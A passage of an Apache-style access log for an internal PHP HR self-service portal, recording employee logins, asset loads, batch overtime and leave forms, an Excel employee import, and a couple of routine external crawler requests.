[05/Dec/2025:08:40:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:40:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [05/Dec/2025:08:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502 HTTP/1.1" 200 5264 192.168.11.70 - - [05/Dec/2025:08:41:01 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:41:01 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502 HTTP/1.1" 302 - 192.168.11.70 - - [05/Dec/2025:08:41:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4536 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7691072849319502" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:41:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4536 192.168.11.144 - - [05/Dec/2025:08:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [05/Dec/2025:08:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [05/Dec/2025:08:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.70 - - [05/Dec/2025:08:41:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:41:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.104 - - [05/Dec/2025:08:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.104 - - [05/Dec/2025:08:41:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.104 - - [05/Dec/2025:08:41:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [05/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.104 - - [05/Dec/2025:08:41:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [05/Dec/2025:08:41:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.144 - - [05/Dec/2025:08:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.50293423752157 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.50293423752157 HTTP/1.1" 200 8816 192.168.11.104 - - [05/Dec/2025:08:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.104 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.33 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:41:21 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.104 - - [05/Dec/2025:08:41:24 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:24 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.104 - - [05/Dec/2025:08:41:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.104 - - [05/Dec/2025:08:41:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.144 - - [05/Dec/2025:08:41:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.50293423752157 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.50293423752157" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.50293423752157 HTTP/1.1" 200 16781 192.168.11.33 - - [05/Dec/2025:08:41:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:41:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.33 - - [05/Dec/2025:08:41:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:41:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.33 - - [05/Dec/2025:08:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [05/Dec/2025:08:41:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [05/Dec/2025:08:41:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 100.64.0.1 - - [05/Dec/2025:08:41:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/UCD-SNMP-MIB.txt HTTP/1.1" 200 31537 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:08:41:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/UCD-SNMP-MIB.txt HTTP/1.1" 200 31537 192.168.11.33 - - [05/Dec/2025:08:41:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:41:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [05/Dec/2025:08:41:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 100.64.0.1 - - [05/Dec/2025:08:41:39 +0800] "GET / HTTP/1.1" 200 439 192.168.11.104 - - [05/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24751378538364288 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24751378538364288 HTTP/1.1" 200 8988 192.168.11.104 - - [05/Dec/2025:08:43:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24751378538364288 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24751378538364288" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:43:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24751378538364288 HTTP/1.1" 200 27500 192.168.11.104 - - [05/Dec/2025:08:43:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4488 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:43:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4488 192.168.11.104 - - [05/Dec/2025:08:43:58 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:43:58 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.104 - - [05/Dec/2025:08:43:58 +0800] "GET 